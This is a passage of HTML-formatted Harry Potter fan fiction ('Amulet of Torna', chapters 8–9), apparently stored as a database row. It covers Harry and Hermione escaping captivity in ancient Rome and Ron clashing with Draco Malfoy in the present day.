style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Meldina let out the breath she was\nholding, &#8220;Yes, I am.&nbsp; I don&#8217;t want to be\na slave anymore.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rosa nodded\nagreeing but she had some concerns.&nbsp;\n&#8220;Well I would love to go but what about the armed guards outside; they\nwill never let us leave.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">An idea popped into Hermione&#8217;s\nhead &#8220;Oh I think we have a way out.&#8221; She smirked not taking her eyes off Marc\nAntony.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Just as Harry was about to think\nof a plan of action for escape a hawk flew in through the barred windows.&nbsp; He recognized it as the same hawk that has\nbeen delivering him messages from Hermione.&nbsp;\nHe noticed the hawk had a long object secured with in it&#8217;s\ntalons.&nbsp; Falore dropped the object into\nHarry&#8217;s awaiting hands and flew back out the window.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It felt good to Harry to have his\nwand again, for the first time since he had been there he smiled.&nbsp; &#8220;Now to get out of here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And just how are you going to do\nthat?&#8221; Marcelo still couldn&#8217;t help the way his voice still sounded bitter.&nbsp; But he had been bitter for a long time he\nguessed it was impossible to change over night.&nbsp;\nHe really wanted to look on with a new idea and a new personality.&nbsp; He would try his hardest not to be a bastard.\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;With this, my\nwand.&#8221; Harry ignoring Marcelo&#8217;s tone twirled his wand happily in the air\nwith his fingers.&nbsp; &#8220;Oh yes things are\ncertainly starting to look up.&#8221;&nbsp; He\npointed his wand at the side of the </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both Marcelo and Enzo were a quite\nconfused, how was Harry going to escape with that little stick?&nbsp; Marcelo started chuckling quietly, he was\nsure the boy had certainly lost his mind.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry rolled his eyes at the sound\nof Marcelo laughing, well he had no desire to explain to him, the red head would\nfind out what he could do with this stick soon enough.&nbsp; With his wand still pointed at the wall he\nshouted a spell turning the solid stone into water.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The water sloshed everywhere,\ngetting the entire ground soaked; Harry could hear the sounds of shouting and\nexcitement as many men and women ran forward like wild beasts that hadn&#8217;t eaten\nin weeks running for their freedom.&nbsp; It\nwas a sight that almost made Harry proud that he was dropped here; having\nhelped that many people was a great feeling.&nbsp;\nHarry turned around facing Marcelo and Enzo who were just standing there\nstaring.&nbsp; They appeared to be stunned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Marcelo, Enzo?&#8221; Harry calmly said\nwalking over to them.&nbsp; They didn&#8217;t\nrespond so Harry waved his hand in front of their faces, still nothing.&nbsp; After a few seconds the two men suddenly\nscreamed like little girls, their voices so high pitched that Harry had to\ncover his ears from the aching sound.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;H&#8212;How\ndid you do that?&#8221; Enzo had been first to calm down as he looked upon Harry wide\neyed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I have my ways.&#8221; Harry smirked,\n&#8220;Now are you two going to stand around here all day or are you going to\nescape?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Enzo started to move forward, &#8220;Oh\nI&#8217;m definitely going.&#8221;&nbsp; He turned around\nseeing as Marcelo didn&#8217;t even start walking.&nbsp;\n&#8220;Marcelo, are you coming?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Wordlessly, Marcelo nodded his\nhead slowly and began moving forward with Harry and Enzo.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ow! It&#8217;s too tight.&#8221; Antony\nbellowed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh shut up, just keep going.&#8221;\nHermione ordered, &#8220;And if you expose your wrists I&#8217;ll not falter on killing\nyou.&#8221;&nbsp;&nbsp; Of course she had no intention of\nkilling him, but she had to make it sound convincing.&nbsp; Hermione was on horseback behind Antony;\nhis wrists were bound together holding on the horse reins, with a cloak that\nwas neatly wrapped around him coming to rest against his wrists which were no\nvisible to the public eye.&nbsp; Hermione\nherself was holding on to him with one secure arm while her other arm was\nfree.&nbsp; In her free hand she was holding\nher wand against his back. She took a glance behind her at Rosa and\nMeldina.&nbsp; &#8220;You girls all right back\nthere?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rosa and Meldina were on separate\nhorses and they both smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah we are doing just fine.&#8221;\nMeldina replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rosa\ncleared her throat.&nbsp; &#8220;Hermione are you\nsure this idea of yours is going to work?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I hope so. My ideas usually do\nwork.&#8221; Hermione turned back around as they approached the entrance to the city\nwhere two armed guards stood.&nbsp; They bowed\non Marc Antony&#8217;s arrival out of respect for a great man.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione pushed her wand into his\nback more making Antony start to\nspeak.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Greetings, I&#8217;m just taking these\nthree lovely ladies out for an evening ride.&#8221; He said sounding cheerful but he\nwas making small head gestures trying to tell them something was wrong. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione saw what he was doing and\npinched him hard in the side.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ow!&#8221; Antony\nshouted, which alerted the guards.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sir are\nyou all right?&#8221; The one on the left said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione poked him with her wand\nin the back again; she even started to murmur a spell in his ear, not a real\none of course. She almost had to hold back laughter that was threatening to\ncome out of her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes of course I&#8217;m all right,&#8221; Antony\nsmiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The guard on the right nodded with\na smile and opened the doors for him and watched with great jealousy as Marc\nAntony with the three ladies headed for the outside world.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We have to travel ten miles to\nthe village.&#8221; Rosa said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">And with that the four of them\nheaded in the direction of the village.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo, Enzo and Harry were\nhiding behind a wall looking over at the stables at Caesar&#8217;s, Antony\nand Cleopatra&#8217;s private stallions which were enjoying a delicious dinner of\noats and hay.&nbsp; Marcelo suddenly\nsmirked.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you two thinking what I&#8217;m\nthinking?&#8221; He looked at the two of them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Enzo&#8217;s stomach made a loud\ngrumbling sound. &#8220;Yeah, I&#8217;m so hungry I could eat a horse too.&#8221;&nbsp; He patted his stomach.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo rolled his eyes, &#8220;No you\nidiot. I&#8217;m thinking we steal, er, I mean borrow Caesar&#8217;s horses; I doubt he&#8217;ll\neven miss them.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded.&nbsp; &#8220;Good idea, come on lets go before someone\nsees us.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry, Marcelo and Enzo looking in\nall directions cautiously headed towards the stables.&nbsp; Harry looked over his shoulder as Marcelo and\nEnzo took to saddling the horses.&nbsp; Harry\nknew nothing about horses and he kind worried that he might not be able to ride\nit, what if he fell off?</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo and Enzo worked quickly at\nsaddling, they were once part of Caesar&#8217;s army so they were quite fast.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right Harry.&#8221; Enzo handed\nHarry the reins.&nbsp; &#8220;Let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry gulped. &#8220;Um&#8230; I have never\nridden a horse before.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh? Well don&#8217;t worry it&#8217;s not\nthat hard.&nbsp; Just climb on up and use your\nfeet and kick him here.&#8221; Enzo patted the horse in the area where it is to be\nkicked.&nbsp; &#8220;Just not too\nhard, just enough to make him move.&#8221;&nbsp;\nEnzo climbed on his horse as well as Marcelo and they started moving\naway from the stables</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry climbed up onto the horse,\nhe felt as if he were going to split in two.&nbsp;\nHe wondered how people ever got used to this.&nbsp; He gently kicked the horse and it started to\nmove, he followed after Marcelo and Enzo, the horse was very bumpy as it\nstarted to trot a little, catching up with the other horses, he had to hold on\ntight or else he really would fall off.&nbsp;\n&#8220;I&#8230;don&#8217;t&#8230;like&#8230;this.&#8221; Harry shouted his voice vibrating with every step\nthe horse took that it made Marcelo and Enzo laugh.&nbsp; Harry glared, and pouted at the same time as\nthey continued on their way.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I can&#8217;t believe it, I&#8217;m being\nordered around by a bunch of lowly women.&#8221; Antony\ngrumbled.&nbsp; &#8220;I&#8217;m the man here; you&#8217;re\nsupposed to be taking my orders.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione rolled her eyes &#8220;You know\nhow can someone who&#8217;s as great as I heard you were be such a prick?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Antony\nignored that, probably because he had no idea of what she just called him.&nbsp; &#8220;If my wife here&#8217;s about this I&#8217;ll never live\nit down.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re married!!&#8221; Hermione\nshrieked completely disgusted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A smirk crossed Antony&#8217;s\nface, &#8220;Jealous?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ewww no!&#8221;\nHermione felt repulsed and smacked him in the back of the head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oww!\nWhat&#8217;d you do that for?&#8221;&nbsp; He really\nwanted to rub the back of his head where she hit him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because you&#8217;re a jerk, how can\nyou be married?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey I&#8217;m a man I have urges and my\nwife isn&#8217;t always around, in fact she&#8217;s at my home far away from Rome.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s no excuse.&#8221; Hermione shook\nher head, that just made her hate him even more.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Caesar is married too you know,\nwe all are married because we have to have heirs to continue on our family\nline.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well if they are offspring of\nyours, I hope your wife is infertile.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Infertile, what&#8217;s that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione rolled her eyes. &#8220;Oh\nnever mind.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Marcelo why did we have to charge\nthe guards I&#8217;m sure someone will find them knocked out.&#8221; Enzo looked back and Rome\nwas far behind them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo sighed, &#8220;Unless you wanted\nto be recaptured then we certainly didn&#8217;t have to knock them out, but I was\nthinking hey we want to escape, we want to be free. Besides, by the time anyone\nfinds them we&#8217;ll be so far from Rome\nthey won&#8217;t want to come after us.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah I guess your right.&#8221; Enzo\nreplied, looking over at Harry who was gripping the saddle hard.&nbsp; He chuckled.&nbsp;\n&#8220;Hey Harry you can relax you won&#8217;t fall off.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry felt like an idiot and he\nlet go of the saddle.&nbsp; &#8220;Sorry, I&#8217;m just\nnot used to riding a horse.&#8221;&nbsp; He heard\nMarcelo and Enzo laughing quietly.&nbsp; &#8220;Hey!\nIt&#8217;s not funny.&#8221;&nbsp; He heard them still\ncontinue to laugh and he made a growling noise.&nbsp;\nMarcelo abruptly stopped laughing which alerted Harry.&nbsp; &#8220;Marcelo what&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There are some people ahead of\nus.&#8221; Marcelo pointed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked in that direction;\nsure he could see figures off in the distance.&nbsp;\nHe wondered if they were bandits or friendly.&nbsp; He really didn&#8217;t want any trouble but he was\nmore than sure, that&#8217;s what awaited them. Harry cleared his throat, &#8220;Well lets\nsee who they are maybe they can help us.&#8221;&nbsp;\nHe tried not to sound unsure, but he didn&#8217;t know who to trust in this\ntime period.&nbsp; He saw both Marcelo and\nEnzo nod slowly and they dashed off to see if see if these people were friend\nor foe.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=======</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Well that&#8217;s it for chapter 8, I\nhope you all enjoyed it ^_^ Stay tuned for chapter 9 remember to review,\nthanks. Ryoko Blue</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(43, 9, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 10 (filtered)">\n\n<title>Amulet of Torna</title>\n\n<style>\n\n</style>\n\n\n\n<p>&nbsp;</p>\n\n<p>Disclaimer: I don&#8217;t own original Harry Potter characters or situations, They belong to J.K Rowlings. If I owned them, I would be sitting in Hawaii right now sipping drinks with little umbrellas in them and having hot guys serving my every need. *sigh* Oh well.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Amulet of Torna</p>\n\n<p>Chapter 9&#8212;While We Wait</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>He let out a heavy sigh and glanced down at the full plate of food.&nbsp; He twirled the fork in the creamy noodles, not really intending to eat them.&nbsp; For the first time in his life he was not hungry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron?&#8221; Zara&#8217;s calm voice made him look up.&nbsp; &#8220;What&#8217;s the matter?&nbsp; You&#8217;re not eating.&#8221;&nbsp; She had an idea of what was bothering him.&nbsp;&nbsp; His lack of appetite worried her.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron shrugged and in a low and melancholy voice, he replied, &#8220;I don&#8217;t know.&nbsp; Just not hungry I guess.&#8221; Ron let out another sigh as he sat the fork down on the plate. </p>\n\n<p>&nbsp;</p>\n\n<p>Zara noticed his eyes were bloodshot.&nbsp; She knew that he hadn&#8217;t slept in days.&nbsp; &#8220;Ron, I&#8217;m worried about you.&nbsp; This isn&#8217;t healthy.&nbsp; Look at you. You hardly sleep, and now you&#8217;re not even eating.&#8221;&nbsp; She reached over the table and placed her hand over his. &#8220;I know you&#8217;re worried, but that&#8217;s no reason to throw your health away.&nbsp; Worrying yourself to death is not going to be much help.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know, I know.&#8221; Ron ran his fingers through his hair.&nbsp; &#8220;I can&#8217;t help but worry about them though.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Zara smiled a little. &#8220;You&#8217;re a good friend to care about them, but they wouldn&#8217;t want you getting sick over it.&nbsp; They&#8217;ll come back I know they will.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I hope dad is having more luck in trying to get them back.&#8221;&nbsp; Ron took a drink from his bottled water.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron you heard what Dumbledore and that Nilrem said. They have to get back themselves through some portal.&nbsp; That&#8217;s the only possible way.&#8221; She leaned back in her chair.&nbsp; She could tell that Ron was not convinced.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, I don&#8217;t think that is such a good idea right now.&#8221;&nbsp; Arthur said as he followed Fudge down the hall with Mavis.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;She is a Muggle and should have her memory erased as soon as possible.&nbsp; Right along with that other boy.&nbsp; We&#8217;ve already had to deal with him before, and if I recall correctly...&#8221;&nbsp; he paused for almost a dramatic effect, &#8220;that was a disaster.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s inhumane to do that to her now.&nbsp; She&#8217;s just had her cousin ripped away.&nbsp; How would you feel?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Rules are rules, Arthur, there can be no exceptions.&#8221; Fudge&#8217;s tone was unyielding.</p>\n\n<p>&nbsp;</p>\n\n<p>Mavis had had enough. &#8220;Except running for political office right?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Haven&#8217;t you got something more important to do?&nbsp;&nbsp; Let&#8217;s say, your job?&#8221;&nbsp; Fudge narrowed his eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I am doing my job.&nbsp; The job of an Auror is very delicate.&nbsp; It requires concentration and deduction, as opposed to taking bribes and trying to further your career.&#8221;&nbsp; Mavis saw Fudge actually turn beet red with anger, but she continued relentlessly.&nbsp; &#8220;Amelia is my relation and she has every right to know what&#8217;s happening to Hermione.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I will see to it myself that Amelia does not do anything that will compromise the security of our world,&#8221; Arthur added.</p>\n\n<p>&nbsp;</p>\n\n<p>Fudge&#8217;s voice was a low growl.&nbsp; &#8220;Do what must be done. Mavis, Arthur -- just keep that girl out of trouble.&#8221;&nbsp; He walked away from them and then paused.&nbsp; &#8220;If anything goes wrong, it&#8217;s on your heads.&nbsp; Both of your jobs are on the line.&#8221;&nbsp; With a swift motion he turned and continued on down the hall until he was out of sight.</p>\n\n<p>&nbsp;</p>\n\n<p>Mavis and Arthur both looked at each other.&nbsp; The question was, what do we do now?</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny wandered down the sidewalk, window shopping.&nbsp; Everything here was so expensive.&nbsp; She remembered she had to beg her father to let her see some of the sights.&nbsp; His complaint was,&nbsp; &#8220;Your mother would never forgive me if something happened to you.&#8221;&nbsp; Ginny promised she would be extra careful.&nbsp; There was nothing she could do for Harry and Hermione. She needed a distraction or she would go crazy with worry.</p>\n\n<p>&nbsp;</p>\n\n<p>She stopped beside the window of a rather exclusive jewelry shop and looked in.&nbsp; There, resting on a blue velvet cushion, was the most beautiful sapphire and diamond necklace.&nbsp;&nbsp; The shimmering diamonds gave off a radiant glow that most women were helpless to resist.&nbsp; Ginny pictured the diamonds resting against her own neck.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>She grimaced.&nbsp; Everything had been handed down to her.&nbsp; Even some of her brother&#8217;s clothing.&nbsp; She always accepted it with a smile.&nbsp; She was never one to complain openly about things.&nbsp; She wasn&#8217;t Ron.&nbsp; She did care about her brother but sometimes he really got on her nerves.&nbsp; Ginny wanted something to happen in her life.&nbsp; Something worth while.&nbsp; Something better.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;See anything you like?&#8221; a voice that sounded like pure silk asked, from behind her.</p>\n\n<p>&nbsp;</p>\n\n<p>Surprised, Ginny looked up into the glass window.&nbsp; Draco Malfoy&#8217;s reflection was looking back at her.&nbsp; She smiled and turned around to face him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco what are you doing here?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m on vacation with my parents.&nbsp; They decided to go do something which I find rather boring.&#8221; Casually, he leaned against the building.&nbsp; &#8220;I decided to go off on my own and take a look around.&#8221; His head tilted a bit, looking at her directly.&nbsp; &#8220;Imagine my surprise when I saw you here.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny nodded, &#8220;I&#8217;m here with my dad and brother.&nbsp; I just had to get away on my own for a little while.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I can understand that.&#8221;&nbsp; Draco looked into the window at what Ginny was looking at.&nbsp; &#8220;I see that necklace strikes your fancy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes it does,&#8221; Ginny glanced at the piece again.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded. &#8220;Come with me.&#8221; And he pulled her into the jewelry shop.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron and Zara left the restaurant, heading down towards the hotel Ron&#8217;s father put them in for the night.&nbsp; The strolled together along the side walk.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey Ron, isn&#8217;t that your sister?&#8221; Zara pointed to Ginny coming out of a jewelry shop with Draco following her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What is he doing here?&#8221; Ron tried to stay calm, but that was quickly evaporating into a violent anger.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah, I see.&nbsp; So <i>that&#8217;s</i> why you&#8217;re here,&#8221; Draco said to Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, I just hope nothing happens to them.&#8221; Ginny sighed, holding the shopping bag tightly.&nbsp; She heard someone call her name.&nbsp; Ron and Zara were on the other side of the street.&nbsp; She waved to him.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron nodded and proceeded to cross the street with Zara trying to keep the pace behind him.&nbsp;&nbsp; He stood in front of his sister, smiling pleasantly at her.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What&#8217;s Malfoy doing here?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny smiled, &#8220;Oh, his family is on vacation too.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron glared at Draco. &#8220;Is that so?&#8221;&nbsp; Ron crossed his arms.&nbsp; &#8220;I don&#8217;t buy that for one moment.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh relax, Weasley.&#8221; Draco glared back. &#8220;I was just taking a walk.&nbsp; I saw Ginny and decided to say hi.&nbsp; Unless you have a problem with that, I suggest you be on your way.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny, don&#8217;t you think it&#8217;s odd that Harry and Hermione disappear and here Malfoy is?&nbsp; His parents are obviously in league with You&#8212;Know&#8212;Who.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron, you don&#8217;t have any proof of that.&#8221; </p>\n\n<p>Ron didn&#8217;t care what Ginny said.&nbsp; He had a feeling that Malfoy wasn&#8217;t totally being honest here. Something was going to go wrong.&nbsp;&nbsp; He knew it.&nbsp; &#8220;What&#8217;s in the bag?&#8221;&nbsp; He decided to change the subject.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny tucked her hair behind her ear, &#8220;It&#8217;s just something Draco bought for me.&nbsp; Nothing much really.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco sneered at Ron, &#8220;Yeah Weasley, its nothing much.&nbsp; Just something that cost me more than you have ever seen in your pathetic life.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Watch it Malfoy.&nbsp; You&#8217;re treading on thin ice.&#8221; Ron&#8217;s fingers closed tightly, forming a fist.</p>\n\n<p>&nbsp;</p>\n\n<p>Zara shoved him lightly.&nbsp; &#8220;Come on, let&#8217;s keep moving.&nbsp; He&#8217;s not worth it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Listen to your tart, Weasley.&#8221; Draco chuckled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Take that back, Malfoy.&nbsp; Take it back before I ram my fist down your throat and pull out your heart.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No.&#8221; Draco was not one to bow to threats; he was usually the one making them.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron, let&#8217;s just <i>go</i>,&#8221; Zara said.&nbsp; She was not in the mood to tangle with Draco right now.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron took a deep breath, calming himself.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, all right.&nbsp; Let&#8217;s go.&#8221;&nbsp; As he turned away, Draco spoke in a low voice that only Ron could hear.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I heard about Potter and Granger.&nbsp; They are going to die and it&#8217;s going to be wonderful.&nbsp; Imagine such gruesome deaths.&#8221; Draco&#8217;s gaze was fixed on Ron.&nbsp; He was enjoying taunting him.&nbsp; &#8220;Too bad, I didn&#8217;t think of this myself, first I would kill that know-it-all Granger.&nbsp; I can see many people would thank me for getting rid of her.&nbsp; Oh and don&#8217;t even get me started on Potter.&nbsp; What a fool, what a freak.&#8221;&nbsp; Draco didn&#8217;t have time to laugh or continue as Ron&#8217;s fist connected with his face.&nbsp; A second later 